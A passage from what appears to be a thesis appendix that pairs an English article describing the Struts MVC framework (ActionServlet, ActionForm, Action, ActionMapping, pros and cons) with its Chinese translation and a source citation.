ActionServlet class Do you remember the days of function mappings? You would map some input event to a pointer to a function. If you where slick, you would place the configuration information into a file and load the file at run time. Function pointer arrays were the good old days of structured programming in C. Life is better now that we have Java technology, XML, J2EE, and all that. The Struts Controller is a servlet that maps events (an event generally being an HTTP post) to classes. And guess what -- the Controller uses a configuration file so you don_t have to hard-code the values. Life changes, but stays the same. ActionServlet is the Command part of the MVC implementation and is the core of the Framework. ActionServlet (Command) creates and uses Action, an ActionForm, and ActionForward. As mentioned earlier, the struts-config.xml file configures the Command. During the creation of the Web project, Action and ActionForm are extended to solve the specific problem space. The file struts-config.xml instructs ActionServlet on how to use the extended classes. There are several advantages to this approach: • The entire logical flow of the application is in a hierarchical text file. This makes it easier to view and understand, especially with large applications. • The page designer does not have to wade through Java code to understand the flow of the application. • The Java developer does not need to recompile code when making flow changes. Command functionality can be added by extending ActionServlet. The ActionForm class ActionForm maintains the session state for the Web application. ActionForm is an abstract class that is sub-classed for each input form model. When I say input form model, I am saying ActionForm represents a general concept of data that is set or updated by a HTML form. For instance, you may have a UserActionForm that is set by an HTML Form. The Struts framework will: • Check to see if a UserActionForm exists; if not, it will create an instance of the class. • Struts will set the state of the UserActionForm using corresponding fields from the HttpServletRequest. No more dreadful request.getParameter() calls. For instance, the Struts framework will take fname from request stream and call UserActionForm.setFname(). • The Struts framework updates the state of the UserActionForm before passing it to the business wrapper UserAction. • Before passing it to the Action class, Struts will also conduct form state validation by calling the validation() method on UserActionForm. Note: This is not always wise to do. There might be ways of using UserActionForm in other pages or business objects, where the validation might be different. Validation of the state might be better in the UserAction class. • The UserActionForm can be maintained at a session level. Notes: • The struts-config.xml file controls which HTML form request maps to which ActionForm. • Multiple requests can be mapped UserActionForm. • UserActionForm can be mapped over multiple pages for things such as wizards. The Action class The Action class is a wrapper around the business logic. The purpose of Action class is to translate the HttpServletRequest to the business logic. To use Action, subclass and overwrite the process() method. The ActionServlet (Command) passes the parameterized classes to ActionForm using the perform() method. Again, no more dreadful request.getParameter() calls. By the time the event gets here, the input form data (or HTML form data) has already been translated out of the request stream and into an ActionForm class. Struts, an MVC 2 implementation Struts is a set of cooperating classes, servlets, and JSP tags that make up a reusable MVC 2 design. This definition implies that Struts is a framework, rather than a library, but Struts also contains an extensive tag library and utility classes that work independently of the framework. Figure 5 displays an overview of Struts. Struts overview • Client browser An HTTP request from the client browser creates an event. The Web container will respond with an HTTP response. • Controller The Controller receives the request from the browser, and makes the decision where to send the request. With Struts, the Controller is a command design pattern implemented as a servlet. The struts-config.xml file configures the Controller. • Business logic The business logic updates the state of the model and helps control the flow of the application. With Struts this is done with an Action class as a thin wrapper to the actual business logic. • Model state The model represents the state of the application. The business objects update the application state. ActionForm bean represents the Model state at a session or request level, and not at a persistent level. The JSP file reads information from the ActionForm bean using JSP tags. • View The view is simply a JSP file. There is no flow logic, no business logic, and no model information -- just tags. Tags are one of the things that make Struts unique compared to other frameworks like Velocity. Note: "Think thin" when extending the Action class. The Action class should control the flow and not the logic of the application. By placing the business logic in a separate package or EJB, we allow flexibility and reuse. Another way of thinking about Action class is as the Adapter design pattern. The purpose of the Action is to "Convert the interface of a class into another interface the clients expect. Adapter lets classes work together that couldn_t otherwise because of incompatibility interface" (from Design Patterns - Elements of Reusable OO Software by Gof). The client in this instance is the ActionServlet that knows nothing about our specific business class interface. Therefore, Struts provides a business interface it does understand, Action. By extending the Action, we make our business interface compatible with Struts business interface. (An interesting observation is that Action is a class and not an interface. Action started as an interface and changed into a class over time. Nothing's perfect.) The Error classes The UML diagram also included ActionError and ActionErrors. ActionError encapsulates an individual error message. ActionErrors is a container of ActionError classes that the View can access using tags. ActionErrors is Struts way of keeping up with a list of errors. The ActionMapping class An incoming event is normally in the form of an HTTP request, which the servlet Container turns into an HttpServletRequest. The Controller looks at the incoming event and dispatches the request to an Action class. The struts-config.xml determines what Action class the Controller calls. The struts-config.xml configuration information is translated into a set of ActionMapping, which are put into container of ActionMappings. (If you have not noticed it, classes that end with s are containers) The ActionMapping contains the knowledge of how a specific event maps to specific Actions. The ActionServlet (Command) passes the ActionMapping to the Action class via the perform() method. This allows Action to access the information to control flow. ActionMappings ActionMappings is a collection of ActionMapping objects. Struts pros • Use of JSP tag mechanism The tag feature promotes reusable code and abstracts Java code from the JSP file. This feature allows nice integration into JSP-based development tools that allow authoring with tags. • Tag library Why re-invent the wheel, or a tag library? If you cannot find something you need in the library, contribute. In addition, Struts provides a starting point if you are learning JSP tag technology. • Open source You have all the advantages of open source, such as being able to see the code and having everyone else using the library reviewing the code. Many eyes make for great code review. • Sample MVC implementation Struts offers some insight if you want to create your own MVC implementation. • Manage the problem space Divide and conquer is a nice way of solving the problem and making the problem manageable. Of course, the sword cuts both ways. The problem is more complex and needs more management. Struts cons • Youth Struts development is still in preliminary form. They are working toward releasing a version 1.0, but as with any 1.0 version, it does not provide all the bells and whistles. • Change The framework is undergoing a rapid amount of change. A great deal of change has occurred between Struts 0.5 and 1.0. You may want to download the most current Struts nightly distributions, to avoid deprecated methods. In the last 6 months, I have seen the Struts library grow from 90K to over 270K. I had to modify my examples several times because of changes in Struts, and I am not going to guarantee my examples will work with the version of Struts you download. • Correct level of abstraction Does Struts provide the correct level of abstraction? What is the proper level of abstraction for the page designer? That is the $64K question. Should we allow a page designer access to Java code in page development? Some frameworks like Velocity say no, and provide yet another language to learn for Web development. There is some validity to limiting Java code access in UI development. Most importantly, give a page designer a little bit of Java, and he will use a lot of Java. I saw this happen all the time in Microsoft ASP development. In ASP development, you were supposed to create COM objects and then write a little ASP script to glue it all together. Instead, the ASP developers would go crazy with ASP script. I would hear "Why wait for a COM developer to create it when I can program it directly with VBScript?" Struts helps limit the amount of Java code required in a JSP file via tag libraries. One such library is the Logic Tag, which manages conditional generation of output, but this does not prevent the UI developer from going nuts with Java code. Whatever type of framework you decide to use, you should understand the environment in which you are deploying and maintaining the framework. Of course, this task is easier said than done. • Limited scope Struts is a Web-based MVC solution that is meant be implemented with HTML, JSP files, and servlets. • J2EE application support Struts requires a servlet container that supports JSP 1.1 and Servlet 2.2 specifications. This alone will not solve all your install issues, unless you are using Tomcat 3.2. I have had a great deal of problems installing the library with Netscape iPlanet 6.0, which is supposedly the first J2EE-compliant application server. I recommend visiting the Struts User Mailing List archive (see Resources) when you run into problems. • Complexity Separating the problem into parts introduces complexity. There is no question that some education will have to go on to understand Struts. With the constant changes occurring, this can be frustrating at times. Welcome to the Web. • Where is... I could point out other issues, for instance, where are the client side validations, adaptable workflow, and dynamic strategy pattern for the controller? However, at this point, it is too easy to be a critic, and some of the issues are insignificant, or are reasonable for a 1.0 release. The way the Struts team goes at it, Struts might have these features by the time you read this article, or soon after. Future of Struts Things change rapidly in this new age of software development. In less than 5 years, I have seen things go from cgi/perl, to ISAPI/NSAPI, to ASP with VB, and now Java and J2EE. Sun is working hard to adapt changes to the JSP/servlet architecture, just as they have in the past with the Java language and API. You can obtain drafts of the new JSP 1.2 and Servlet 2.3 specifications from the Sun Web site. Additionally, a standard tag library for JSP files is appearing. 2:外文资料翻译译文 Struts——MVC 的一种开放源码实现 本文介绍 Struts,它是使用 servlet 和 JavaServer Pages 技术的一种 Model-View-Controller 实现。Struts 可帮助您控制 Web 项目的变化并提高专业化水平。尽管您可能永远不会用 Struts 实现一个系统,但您可以将其的一些思想用于您以后的 servlet 和 JSP 网页的实现。 简介 小学生也可以在因特网上发布 HTML 网页。但是,小学生的网页和专业开发的网站有质的区别。网页设计人员(或者 HTML 开发人员)必须理解颜色、用户、生产流程、网页布局、浏览器兼容性、图像创建和 JavaScript 等等。设计漂亮的网站需要做大量的工作,大多数 Java 开发人员更注重创建优美的对象接口,而不是用户界面。JavaServer Pages (JSP) 技术为网页设计人员和 Java 开发人员提供了一种联系钮带。 如果您开发过大型 Web 应用程序,您就理解 变化 这个词的含义。“模型-视图-控制器”(MVC) 就是用来帮助您控制变化的一种设计模式。MVC 减弱了业务逻辑接口和数据接口之间的耦合。Struts 是一种 MVC 实现,它将 Servlet 2.2 和 JSP 1.1 标记(属于 J2EE 规范)用作实现的一部分。尽管您可能永远不会用 Struts 实现一个系统,但了解一下 Struts 或许使您能将其的一些思想用于您以后的 Servlet 的 JSP 实现。 模型-视图-控制器 (MVC) JSP 标记只解决了部分问题。我们还得处理验证、流程控制和更新应用程序的状态等问题。这正是 MVC 发挥作用的地方。MVC 通过将问题分为三个类别来帮助解决单一模块方法所遇到的某些问题: • Model(模型) 模型包含应用程序的核心功能。模型封装了应用程序的状态。有时它包含的唯一功能就是状态。它对视图或控制器一无所知。 • View(视图) 视图提供模型的表示。它是应用程序的 外观。视图可以访问模型的读方法,但不能访问写方法。此外,它对控制器一无所知。当更改模型时,视图应得到通知。 • Controller(控制器) 控制器对用户的输入作出反应。它创建并设置模型。 MVC Model 2 Web 向软件开发人员提出了一些特有的挑战,最明显的就是客户机和服务器的无状态连接。这种无状态行为使得模型很难将更改通知视图。在 Web 上,为了发现对应用程序状态的修改,浏览器必须重新查询服务器。 另一个重大变化是实现视图所用的技术与实现模型或控制器的技术不同。当然,我们可以使用 Java(或者 PERL、C/C++ 或别的语言)代码生成 HTML。这种方法有几个缺点: • Java 程序员应该开发服务,而不是 HTML。 • 更改布局时需要更改代码。 • 服务的用户应该能够创建网页来满足它们的特定需要。 • 网页设计人员不能直接参与网页开发。 • 嵌在代码的 HTML 很难看。 对于 Web,需要修改标准的 MVC 形式。图 4 显示了 MVC 的 Web 改写版,通常也称为 MVC Model 2 或 MVC 2。 Struts,MVC 2 的一种实现 Struts 是一组相互协作的类、servlet 和 JSP 标记,它们组成一个可重用的 MVC 2 设计。这个定义表示 Struts 是一个框架,而不是一个库,但 Struts 也包含了丰富的标记库和独立于该框架工作的实用程序类。图 5 显示了 Struts 的一个概览。 Struts 概览 • Client browser(客户浏览器) 来自客户浏览器的每个 HTTP 请求创建一个事件。Web 容器将用一个 HTTP 响应作出响应。 • Controller(控制器) 控制器接收来自浏览器的请求,并决定将这个请求发往何处。就 Struts 而言,控制器是以 servlet 实现的一个命令设计模式。 struts-config.xml 文件配置控制器。 • 业务逻辑 业务逻辑更新模型的状态,并帮助控制应用程序的流程。就 Struts 而言,这是通过作为实际业务逻辑“瘦”包装的 Action 类完成的。 • Model(模型)的状态 模型表示应用程序的状态。业务对象更新应用程序的状态。ActionForm bean 在会话级或请求级表示模型的状态,而不是在持久级。JSP 文件使用 JSP 标记读取来自 ActionForm bean 的信息。 • View(视图) 视图就是一个 JSP 文件。其没有流程逻辑,没有业务逻辑,也没有模型信息 -- 只有标记。标记是使 Struts 有别于其他框架(如 Velocity)的因素之一。 详细分析 Struts 图 6 显示的是 org.apache.struts.action 包的一个最简 UML 图。图 6 显示了 ActionServlet (Controller)、 ActionForm (Form State) 和 Action (Model Wrapper) 之间的最简关系。 ActionServlet 类 您还记得函数映射的日子吗?在那时,您会将某些输入事件映射到一个函数指针上。如果您对此比较熟悉,您会将配置信息放入一个文件,并在运行时加载这个文件。函数指针数组曾经是用 C 语言进行结构化编程的很好方法。 现在好多了,我们有了 Java 技术、XML、J2EE,等等。Struts 的控制器是将事件(事件通常是 HTTP post)映射到类的一个 servlet。正如您所料 -- 控制器使用配置文件以使您不必对这些值进行硬编码。时代变了,但方法依旧。 ActionServlet 是该 MVC 实现的 Command 部分,它是这一框架的核心。 ActionServlet (Command) 创建并使用 Action 、 ActionForm 和 ActionForward 。如前所述, struts-config.xml 文件配置该 Command。在创建 Web 项目时,您将扩展 Action 和 ActionForm 来解决特定的问题。文件 struts-config.xml 指示 ActionServlet 如何使用这些扩展的类。这种方法有几个优点: • 应用程序的整个逻辑流程都存储在一个分层的文本文件。这使得人们更容易查看和理解它,尤其是对于大型应用程序而言。 • 网页设计人员不必费力地阅读 Java 代码来理解应用程序的流程。 • Java 开发人员也不必在更改流程以后重新编译代码。 可以通过扩展 ActionServlet 来添加 Command 功能。 ActionForm 类 ActionForm 维护 Web 应用程序的会话状态。 ActionForm 是一个抽象类,必须为每个输入表单模型创建该类的子类。当我说 输入表单模型 时,是指 ActionForm 表示的是由 HTML 表单设置或更新的一般意义上的数据。例如,您可能有一个由 HTML 表单设置的 UserActionForm 。Struts 框架将执行以下操作: • 检查 UserActionForm 是否存在;如果不存在,它将创建该类的一个实例。 • Struts 将使用 HttpServletRequest 相应的域设置 UserActionForm 的状态。没有太多讨厌的 request.getParameter() 调用。例如,Struts 框架将从请求流提取 fname ,并调用 UserActionForm.setFname() 。 • Struts 框架在将 UserActionForm 传递给业务包装 UserAction 之前将更新它的状态。 • 在将它传递给 Action 类之前,Struts 还会对 UserActionForm 调用 validation() 方法进行表单状态验证。 注: 这并不总是明智之举。别的网页或业务可能使用 UserActionForm ,在这些地方,验证可能有所不同。在 UserAction 类进行状态验证可能更好。 • 可在会话级维护 UserActionForm 。 注: • struts-config.xml 文件控制 HTML 表单请求与 ActionForm 之间的映射关系。 • 可将多个请求映射到 UserActionForm 。 • UserActionForm 可跨多页进行映射,以执行诸如向导之类的操作。 Action 类 Action 类是业务逻辑的一个包装。 Action 类的用途是将 HttpServletRequest 转换为业务逻辑。要使用 Action ,请创建它的子类并覆盖 process() 方法。 ActionServlet (Command) 使用 perform() 方法将参数化的类传递给 ActionForm 。仍然没有太多讨厌的 request.getParameter() 调用。当事件进展到这一步时,输入表单数据(或 HTML 表单数据)已被从请求流提取出来并转移到 ActionForm 类。 注:扩展 Action 类时请注意简洁。 Action 类应该控制应用程序的流程,而不应该控制应用程序的逻辑。通过将业务逻辑放在单独的包或 EJB ,我们就可以提供更大的灵活性和可重用性。 考虑 Action 类的另一种方式是 Adapter 设计模式。 Action 的用途是“将类的接口转换为客户机所需的另一个接口。Adapter 使类能够协同工作,如果没有 Adapter,则这些类会因为不兼容的接口而无法协同工作。”(摘自 Gof 所著的 Design Patterns - Elements of Reusable OO Software )。本例的客户机是 ActionServlet ,它对我们的具体业务类接口一无所知。因此,Struts 提供了它能够理解的一个业务接口,即 Action 。通过扩展 Action ,我们使得我们的业务接口与 Struts 业务接口保持兼容。(一个有趣的发现是, Action 是类而不是接口)。 Action 开始为一个接口,后来却变成了一个类。真是金无足赤。) ActionMapping 类 输入事件通常是在 HTTP 请求表单发生的,servlet 容器将 HTTP 请求转换为 HttpServletRequest 。控制器查看输入事件并将请求分派给某个 Action 类。 struts-config.xml 确定 Controller 调用哪个 Action 类。 struts-config.xml 配置信息被转换为一组 ActionMapping ,而后者又被放入 ActionMappings 容器。(您可能尚未注意到这一点,以 s结尾的类就是容器) ActionMapping 包含有关特定事件如何映射到特定 Action 的信息。 ActionServlet (Command) 通过 perform() 方法将 ActionMapping 传递给 Action 类。这样就使 Action 可访问用于控制流程的信息。 ActionMappings ActionMappings 是 ActionMapping 对象的一个集合。 Struts 的优点 • JSP 标记机制的使用 标记特性从 JSP 文件获得可重用代码和抽象 Java 代码。这个特性能很好地集成到基于 JSP 的开发工具,这些工具允许用标记编写代码。 • 标记库 为什么要另发明一种轮子,或标记库呢?如果您在库找不到您所要的标记,那就自己定义吧。此外,如果您正在学习 JSP 标记技术,则 Struts 为您提供了一个起点。 • 开放源码 您可以获得开放源码的全部优点,比如可以查看代码并让使用库的每个人检查代码。许多人都可以进行很好的代码检查。 • MVC 实现样例 如果您希望创建您自己的 MVC 实现,则 Struts 可增加您的见识。 • 管理问题空间 分治是解决问题并使问题可管理的极好方法。当然,这是一把双刃剑。问题越来越复杂,并且需要越来越多的管理。 Struts 的缺点 • 仍处于发展初期 Struts 开发仍处于初级阶段。他们正在向着发行版本 1.0 而努力,但与任何 1.0 版本一样,它不可能尽善尽美。 • 仍在变化 这个框架仍在快速变化。Struts 1.0 与 Struts 0.5 相比变化极大。为了避免使用不赞成使用的方法,您可能隔一天就需要下载最新的 Struts。在过去的 6 个月,我目睹 Struts 库从 90K 增大到 270K 以上。由于 Struts 的变化,我不得不数次修改我的示例,但我不保证我的示例能与您下载的 Struts 协同工作。 • 正确的抽象级别 Struts 是否提供了正确的抽象级别?对于网页设计人员而言,什么是正确的抽象级别呢?这是一个用 $64K 的文字才能解释清楚的问题。在开发网页的过程,我们是否应该让网页设计人员访问 Java 代码?某些框架(如 Velocity)说不应该,但它提供了另一种 Web 开发语言让我们学习。在 UI 开发限制访问 Java 有一定的合理性。最重要的是,如果让网页设计人员使用一点 Java,他将使用大量的 Java。在 Microsoft ASP 的开发,我总是看到这样的情况。在 ASP 开发,您应该创建 COM 对象,然后编写少量的 ASP 脚本将这些 COM 对象联系起来。但是,ASP 开发人员会疯狂地使用 ASP 脚本。我会听到这样的话,“既然我可以用 VBScript 直接编写 COM 对象,为什么还要等 COM 开发人员来创建它呢?”通过使用标记库,Struts 有助于限制 JSP 文件所需的 Java 代码的数量。Logic Tag 就是这样的一种库,它对有条件地生成输出进行管理,但这并不能阻止 UI 开发人员对 Java 代码的狂热。无论您决定使用哪种类型的框架,您都应该了解您要在其部署和维护该框架的环境。当然,这项任务真是说起来容易做起来难。 • 有限的适用范围 Struts 是一种基于 Web 的 MVC 解决方案,所以必须用 HTML、JSP 文件和 servlet 来实现它。 • J2EE 应用程序支持 Struts 需要支持 JSP 1.1 和 Servlet 2.2 规范的 servlet 容器。仅凭这一点远不能解决您的全部安装问题,除非使用 Tomcat 3.2。我用 Netscape iPlanet 6.0 安装这个库时遇到一大堆问题,按理说它是第一种符合 J2EE 的应用程序服务器。我建议您在遇到问题时访问 Struts 用户邮件列表的归档资料。 • 复杂性 在将问题分为几个部分的同时也引入了复杂性。毫无疑问,要理解 Struts 必须接受一定的培训。随着变化的不断加入,这有时会令人很沮丧。欢迎访问本网站。 Struts 的前景 在这个软件开发的新时代,一切都变得很快。在不到 5 年的时间内,我已经目睹了从 cgi/perl 到 ISAPI/NSAPI、再到使用 VB 的 ASP、一直到现在的 Java 和 J2EE 的变迁。Sun 正在尽力将新的变化反映到 JSP/servlet 体系结构,正如他们对 Java 语言和 API 所作的更改一样。您可以从 Sun 的网站获得新的 JSP 1.2 和 Servlet 2.3 规范的草案。此外,一个标准 JSP 标记库即将出现。 3:外文出处 [1]Malcolm Davis. Struts——an open-source MVC implementation [2]IBM System Journal,2006

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